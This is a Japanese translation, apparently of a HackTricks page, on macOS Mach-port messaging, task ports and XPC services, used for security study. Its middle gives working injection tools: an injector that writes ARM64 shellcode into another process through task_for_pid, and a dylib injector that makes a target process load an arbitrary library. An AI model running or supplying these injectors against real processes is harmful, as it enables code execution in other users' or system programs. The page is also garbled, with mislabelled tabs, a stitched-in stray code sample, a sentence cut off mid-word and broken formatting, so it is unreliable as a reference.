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2023-09-14 00:12:24 +00:00
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macos-pid-reuse.md Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi 2023-08-31 16:28:04 +00:00
macos-xpc-authorization.md Translated to Japanese 2023-07-07 23:42:27 +00:00
macos-xpc-connecting-process-check.md Translated to Japanese 2023-07-07 23:42:27 +00:00
README.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'macos-ha 2023-09-14 00:12:24 +00:00

macOS IPC - プロセス間通信

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ポートを介したMachメッセージング

Machは、リソースの共有においてタスクを最小単位として使用し、各タスクは複数のスレッドを含むことができます。これらのタスクとスレッドは、POSIXプロセスとスレッドに11でマッピングされます。

タスク間の通信は、Machインタープロセス通信IPCを使用して行われ、片方向の通信チャネルを利用します。メッセージはポート間で転送され、カーネルによって管理されるメッセージキューのような役割を果たします。

タスクが実行できる操作を定義するポート権限は、この通信に重要です。可能なポート権限は次のとおりです。

  • 受信権限ポートに送信されたメッセージを受信することを許可します。MachポートはMPSC複数プロデューサ、単一コンシューマキューであるため、システム全体でポートごとに受信権限は1つだけ存在できます複数のプロセスが1つのパイプの読み取りエンドに対するファイルディスクリプタを保持できるパイプとは異なります
  • 受信権限を持つタスクはメッセージを受信し、メッセージを送信するための送信権限を作成することができます。元々は自分自身のタスクがポートに対して受信権限を持っていました
  • 送信権限:ポートにメッセージを送信することを許可します。
  • 一度だけ送信権限ポートに1つのメッセージを送信し、その後消えます。
  • ポートセット権限単一のポートではなく、_ポートセット_を示します。ポートセットからメッセージをデキューすると、そのポートに含まれるポートの1つからメッセージがデキューされます。ポートセットは、Unixのselect/poll/epoll/kqueueのように、複数のポートで同時にリッスンするために使用できます。
  • デッドネーム:実際のポート権限ではなく、単なるプレースホルダーです。ポートが破棄されると、ポートへのすべての既存のポート権限はデッドネームに変わります。

タスクはSEND権限を他のタスクに転送することができ、それによりメッセージを送り返すことができます。SEND権限は複製することもできるため、タスクはSEND権限を第三のタスクに複製して与えることができます。これにより、中間プロセスであるブートストラップサーバーとの効果的な通信が可能になります。

手順:

上記に述べられているように、通信チャネルを確立するためには、ブートストラップサーバーmacではlaunchd)が関与します。

  1. タスクA新しいポートを初期化し、プロセス内で受信権限を取得します。
  2. 受信権限を持つタスクAは、ポートのためにSEND権限を生成します。
  3. タスクAは、ブートストラップサーバーとの接続を確立し、ポートのサービス名SEND権限をブートストラップ登録という手順を通じて提供します。
  4. タスクBは、サービス名のためにブートストラップサーバーとやり取りし、ブートストラップのサービス名の検索を実行します。成功した場合、サーバーはタスクAから受け取ったSEND権限を複製し、タスクBに送信します。
  5. SEND権限を取得したタスクBは、メッセージを作成し、それをタスクAに送信することができます。

ブートストラップサーバーは、タスクが主張するサービス名を認証することはできません。これは、タスクが潜在的にシステムタスクをなりすますことができる可能性があることを意味します。たとえば、認証サービス名を偽って主張し、その後のすべてのリクエストを承認することができます。

その後、Appleは、システムが提供するサービスの名前を、SIPで保護されたディレクトリにあるセキュアな設定ファイルに保存しています:/System/Library/LaunchDaemonsおよび/System/Library/LaunchAgents。ブートストラップサーバーは、これらのサービス名ごとに受信権限を作成し、保持します。

これらの事前定義されたサービスに対しては、検索プロセスが若干異なります。サービス名が検索されている場合、launchdはサービスを動的に起動します。新しいワークフローは次のようになります。

  • タスクBは、サービス名のためにブートストラップの検索を開始します。
  • launchdは、タスクが実行中かどうかをチェックし、実行されていない場合は起動します。
  • タスクA(サービス)は、ブートストラップチェックインを実行します。ここでは、ブートストラップサーバーがSEND権限を作成し、保持し、受信権限をタスクAに転送します。
  • launchdはSEND権限を複製し、タスクBに送信します。

ただし、このプロセスは事前定義されたシス

コード例

送信者がポートを割り当てし、名前org.darlinghq.example送信権を作成してブートストラップサーバーに送信する方法に注目してください。送信者はその名前の送信権を要求し、それを使用してメッセージを送信します。

{% tabs %} {% tab title="receiver.c" %}

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <mach/mach.h>

#define BUFFER_SIZE 100

int main(int argc, char** argv) {
    mach_port_t server_port;
    kern_return_t kr;
    char buffer[BUFFER_SIZE];

    // Create a send right to the server port
    kr = bootstrap_look_up(bootstrap_port, "com.example.server", &server_port);
    if (kr != KERN_SUCCESS) {
        printf("Failed to look up server port: %s\n", mach_error_string(kr));
        exit(1);
    }

    // Send a message to the server
    strcpy(buffer, "Hello, server!");
    kr = mach_msg_send((mach_msg_header_t*)buffer);
    if (kr != KERN_SUCCESS) {
        printf("Failed to send message: %s\n", mach_error_string(kr));
        exit(1);
    }

    // Receive a reply from the server
    kr = mach_msg_receive((mach_msg_header_t*)buffer);
    if (kr != KERN_SUCCESS) {
        printf("Failed to receive reply: %s\n", mach_error_string(kr));
        exit(1);
    }

    printf("Received reply: %s\n", buffer);

    return 0;
}

{% endtab %}

{% tab title="receiver.c" %}

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);


// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;

message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;

strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;

// Send the message.
kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG,    // Options. We're sending a message.
sizeof(message),  // Size of the message being sent.
0,                // Size of the buffer for receiving.
MACH_PORT_NULL,   // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}

{% endtab %} {% endtabs %}

特権ポート

  • ホストポート: このポートに対してSend権限を持つプロセスは、システムに関する情報(例:host_processor_info)を取得することができます。
  • ホスト特権ポート: このポートに対してSend権限を持つプロセスは、カーネル拡張をロードするなどの特権アクションを実行することができます。この権限を取得するには、プロセスはrootである必要があります
  • さらに、kext_request APIを呼び出すためには、Appleのバイナリにのみ与えられる**com.apple.private.kext**というエンタイトルメントが必要です。
  • タスク名ポート: _タスクポート_の非特権バージョンです。タスクを参照することはできますが、制御することはできません。これを通じて利用可能なのはtask_info()だけのようです。
  • タスクポート(またはカーネルポート): このポートに対してSend権限を持つと、タスクを制御することができますメモリの読み書き、スレッドの作成など
  • 呼び出し元タスクのこのポートの名前を取得するには、mach_task_self()を呼び出します。このポートは**exec()を跨いでのみ継承**されます。fork()で作成された新しいタスクは新しいタスクポートを取得します特別なケースとして、suidバイナリのexec()後にもタスクは新しいタスクポートを取得します)。タスクを生成し、そのポートを取得する唯一の方法は、fork()を行う際に"ポートスワップダンス"を実行することです。
  • これらはポートへのアクセス制限です(バイナリAppleMobileFileIntegritymacos_task_policyから):
  • アプリに**com.apple.security.get-task-allowエンタイトルメント**がある場合、同じユーザーのプロセスはタスクポートにアクセスできますデバッグのためにXcodeによって一般的に追加されますノータリゼーションプロセスでは、本番リリースでは許可されません。
  • com.apple.system-task-portsエンタイトルメントを持つアプリは、カーネルを除く任意のプロセスのタスクポートにアクセスできます。以前のバージョンでは**task_for_pid-allow**と呼ばれていました。これはAppleのアプリケーションにのみ付与されます。
  • ルートユーザーは、ハード化されたランタイムでコンパイルされていないアプリケーションおよびAppleのアプリケーションではないもののタスクポートにアクセスできます。

タスクポートを介したシェルコードのプロセスインジェクション

シェルコードを取得するには、次のリンクから参照してください:

{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}

{% tabs %} {% tab title="mysleep.m" %}

// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] processIdentifier]);
[NSThread sleepForTimeInterval:99999];
}
return 0;
}

{% tab title="entitlements.plist" %}エンタイトルメント.plist

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>

{% tabs %} {% tab title="English" %}

#import <Foundation/Foundation.h>
#import <mach/mach.h>
#import <mach/mach_vm.h>

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        if (argc != 2) {
            printf("Usage: %s <pid>\n", argv[0]);
            return 1;
        }
        
        pid_t target_pid = atoi(argv[1]);
        mach_port_t target_task;
        kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &target_task);
        if (kr != KERN_SUCCESS) {
            printf("Failed to get task for pid %d: %s\n", target_pid, mach_error_string(kr));
            return 1;
        }
        
        const char *payload = "Hello, World!";
        mach_vm_address_t remote_address;
        kr = mach_vm_allocate(target_task, &remote_address, strlen(payload), VM_FLAGS_ANYWHERE);
        if (kr != KERN_SUCCESS) {
            printf("Failed to allocate memory in target task: %s\n", mach_error_string(kr));
            return 1;
        }
        
        kr = mach_vm_write(target_task, remote_address, (vm_offset_t)payload, strlen(payload));
        if (kr != KERN_SUCCESS) {
            printf("Failed to write payload to target task: %s\n", mach_error_string(kr));
            return 1;
        }
        
        printf("Payload injected at address: 0x%llx\n", remote_address);
        
        return 0;
    }
}

{% endtab %} {% endtabs %}

Compile the previous program and add the entitlements to be able to inject code with the same user (if not you will need to use sudo).

injector.m ```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";

int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }

// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }

return (0); }

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }

pid_t pid = atoi(argv[1]); inject(pid); }

return 0; }

</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pid-of-mysleep>

タスクポートを介したDylibプロセスインジェクション

macOSでは、Machまたはposix pthread APIを使用してスレッドを操作することができます。前のインジェクションで生成したスレッドは、Mach APIを使用して生成されたため、posix準拠ではありません

単純なシェルコードをインジェクションしてコマンドを実行することができたのは、posix準拠のAPIではなく、Machのみで動作する必要があったためです。より複雑なインジェクションでは、スレッドもposix準拠である必要があります。

したがって、シェルコードを改善するためには、pthread_create_from_mach_threadを呼び出す必要があります。これにより、新しいpthreadが有効なpthreadを作成できます。その後、この新しいpthreadは、システムからdylibをロードするためにdlopenを呼び出すことができます。

(例えば、ログを生成してそれを聞くことができるものなど)例のdylibは以下で見つけることができます:

{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %} macos-dyld-hijacking-and-dyld_insert_libraries.md {% endcontent-ref %}

dylib_injector.m ```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c #include #include #include #include <sys/types.h> #include <mach/mach.h> #include <mach/error.h> #include #include #include <sys/sysctl.h> #include <sys/mman.h>

#include <sys/stat.h> #include <pthread.h>

#ifdef arm64 //#include "mach/arm/thread_status.h"

// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported // And I say, bullshit. kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

char injectedCode[] =

"\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)

// Call pthread_set_self

"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack "\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer "\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the "\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; "\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start "\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; "\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) "\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread "\x00\x00\x00\x14" // loop: b loop ; loop forever

// Call dlopen with the path to the library "\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; "\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()

// Call pthread_exit "\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit

"PTHRDCRT" // <- "PTHRDEXT" // <- "DLOPEN__" // <- "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;

int inject(pid_t pid, const char *lib) {

task_t remoteTask; struct stat buf;

// Check if the library exists int rc = stat (lib, &buf);

if (rc != 0) { fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); //return (-9); }

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Patch shellcode

int i = 0; char *possiblePatchLocation = (injectedCode ); for (i = 0 ; i < 0x100; i++) {

// Patching is crude, but works. // extern void *_pthread_set_self; possiblePatchLocation++;

uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; uint64_t addrOfDlopen = (uint64_t) dlopen;

if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadExit,8); printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); }

if (memcmp(possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
    memcpy(possiblePatchLocation, &addrOfPthreadCreate, 8);
    printf("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}

if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
    printf("DLOpen @%llx\n", addrOfDlopen);
    memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}

if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
    strcpy(possiblePatchLocation, lib);
}
}

// 割り当てられたメモリにシェルコードを書き込む
kr = mach_vm_write(remoteTask,                   // タスクポート
remoteCode64,                 // 仮想アドレス(宛先)
(vm_address_t) injectedCode,  // ソース
0xa9);                       // ソースの長さ


if (kr != KERN_SUCCESS)
{
fprintf(stderr, "リモートスレッドメモリの書き込みに失敗しました:エラー %s\n", mach_error_string(kr));
return (-3);
}


// 割り当てられたコードメモリのアクセス権を設定する
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr, "リモートスレッドのコードのメモリアクセス権を設定できませんでした:エラー %s\n", mach_error_string(kr));
return (-4);
}

// 割り当てられたスタックメモリのアクセス権を設定する
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS)
{
fprintf(stderr, "リモートスレッドのスタックのメモリアクセス権を設定できませんでした:エラー %s\n", mach_error_string(kr));
return (-4);
}


// シェルコードを実行するためのスレッドを作成する
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));

remoteStack64 += (STACK_SIZE / 2); // これが実際のスタックです
//remoteStack64 -= 8;  // 16のアライメントが必要です

const char *p = (const char *)remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t)remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t)remoteStack64;

printf("リモートスタック64  0x%llx、リモートコードは %p\n", remoteStack64, p);

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t)&remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);

if (kr != KERN_SUCCESS)
{
fprintf(stderr, "リモートスレッドの作成に失敗しました:エラー %s", mach_error_string(kr));
return (-3);
}

return (0);
}



int main(int argc, const char *argv[])
{
if (argc < 3)
{
fprintf(stderr, "使用法:%s _pid_ _action_\n", argv[0]);
fprintf(stderr, "   _action_ディスク上のdylibへのパス\n");
exit(0);
}

pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;

int rc = stat(action, &buf);
if (rc == 0)
    inject(pid, action);
else
{
    fprintf(stderr, "Dylibが見つかりません\n");
}

}
```bash gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject </path/to/lib.dylib> ``` ### タスクポートを介したスレッドインジェクション

{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %} macos-thread-injection-via-task-port.md {% endcontent-ref %}

XPC

基本情報

XPCXNUはmacOSで使用されるカーネルインタープロセス通信は、macOSとiOS上のプロセス間の通信のためのフレームワークです。XPCは、システム上の異なるプロセス間で安全な非同期メソッド呼び出しを行うためのメカニズムを提供します。これはAppleのセキュリティパラダイムの一部であり、特権を分離したアプリケーションの作成を可能にし、各コンポーネントが必要な権限のみで動作するため、侵害されたプロセスからの潜在的な被害を制限します。

XPCは、同じシステム上で実行される異なるプログラム間でデータを送受信するための一連のメソッドである、インタープロセス通信IPCの形式を使用します。

XPCの主な利点は次のとおりです

  1. セキュリティ:作業を異なるプロセスに分割することで、各プロセスに必要な権限のみを付与することができます。これにより、プロセスが侵害された場合でも、被害を最小限に抑えることができます。
  2. 安定性XPCはクラッシュを発生したコンポーネントに限定することで、システム全体に影響を与えずにプロセスを再起動するのに役立ちます。
  3. パフォーマンスXPCは簡単な並行性を可能にし、異なるプロセスで同時にさまざまなタスクを実行できます。

唯一の欠点は、アプリケーションを複数のプロセスに分割してXPCを介して通信させることは効率が低下するということです。しかし、現在のシステムではほとんど気づかれず、利点の方がはるかに優れています。

例として、QuickTime Playerでは、XPCを使用してビデオのデコードを担当するコンポーネントがあります。このコンポーネントは計算タスクを実行するために特別に設計されており、侵害された場合でも、ファイルやネットワークへのアクセスなど、攻撃者に有益な利得を提供しません。

アプリケーション固有のXPCサービス

アプリケーションのXPCコンポーネントは、アプリケーション自体の中にあります。たとえば、Safariでは、/Applications/Safari.app/Contents/XPCServicesにそれらを見つけることができます。拡張子は.xpc(例:com.apple.Safari.SandboxBroker.xpc)であり、メインバイナリバンドルされています:/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker

XPCコンポーネントは、他のXPCコンポーネントやメインのアプリバイナリとは異なるエンタイトルメントと特権を持つ場合があります。ただし、XPCサービスがInfo.plistファイルでJoinExistingSessionを「True」に設定されている場合は除きます。この場合、XPCサービスは呼び出したアプリケーションと同じセキュリティセッションで実行されます。

XPCサービスは、必要に応じてlaunchdによって起動され、すべてのタスクが完了した後にシャットダウンされ、システムリソースを解放します。アプリケーション固有のXPCコンポーネントは、アプリケーションのみが利用できるため、潜在的な脆弱性に関連するリスクを低減します。

システム全体のXPCサービス

システム全体のXPCサービスは、すべてのユーザーがアクセスできます。これらのサービスは、launchdまたはMachタイプであり、/System/Library/LaunchDaemons/Library/LaunchDaemons/System/Library/LaunchAgents、または**/Library/LaunchAgents**などの指定されたディレクトリにあるplistファイルで定義する必要があります。

これらのplistファイルには、サービスの名前を持つ**MachServicesキーと、バイナリへのパスを持つProgram**キーがあります。

cat /Library/LaunchDaemons/com.jamf.management.daemon.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Program</key>
<string>/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon</string>
<key>AbandonProcessGroup</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>com.jamf.management.daemon</string>
<key>MachServices</key>
<dict>
<key>com.jamf.management.daemon.aad</key>
<true/>
<key>com.jamf.management.daemon.agent</key>
<true/>
<key>com.jamf.management.daemon.binary</key>
<true/>
<key>com.jamf.management.daemon.selfservice</key>
<true/>
<key>com.jamf.management.daemon.service</key>
<true/>
</dict>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

**LaunchDameons**内のものはrootで実行されます。したがって、特権を持たないプロセスがこれらのいずれかと通信できれば、特権を昇格させることができる可能性があります。

XPCイベントメッセージ

アプリケーションは、異なるイベントメッセージにサブスクライブすることができ、そのようなイベントが発生したときにオンデマンドで起動することができます。これらのサービスのセットアップは、**LaunchEventキーを含むlaunchd plistファイル**によって行われます。

XPC接続プロセスのチェック

プロセスがXPC接続を介してメソッドを呼び出そうとするとき、XPCサービスはそのプロセスが接続を許可されているかどうかをチェックする必要があります。そのチェック方法と一般的な落とし穴は次のとおりです:

{% content-ref url="macos-xpc-connecting-process-check.md" %} macos-xpc-connecting-process-check.md {% endcontent-ref %}

XPC認証

Appleはまた、アプリがいくつかの権限とその取得方法を設定することを許可しています。したがって、呼び出し元のプロセスがこれらの権限を持っている場合、XPCサービスからのメソッドの呼び出しが許可されます

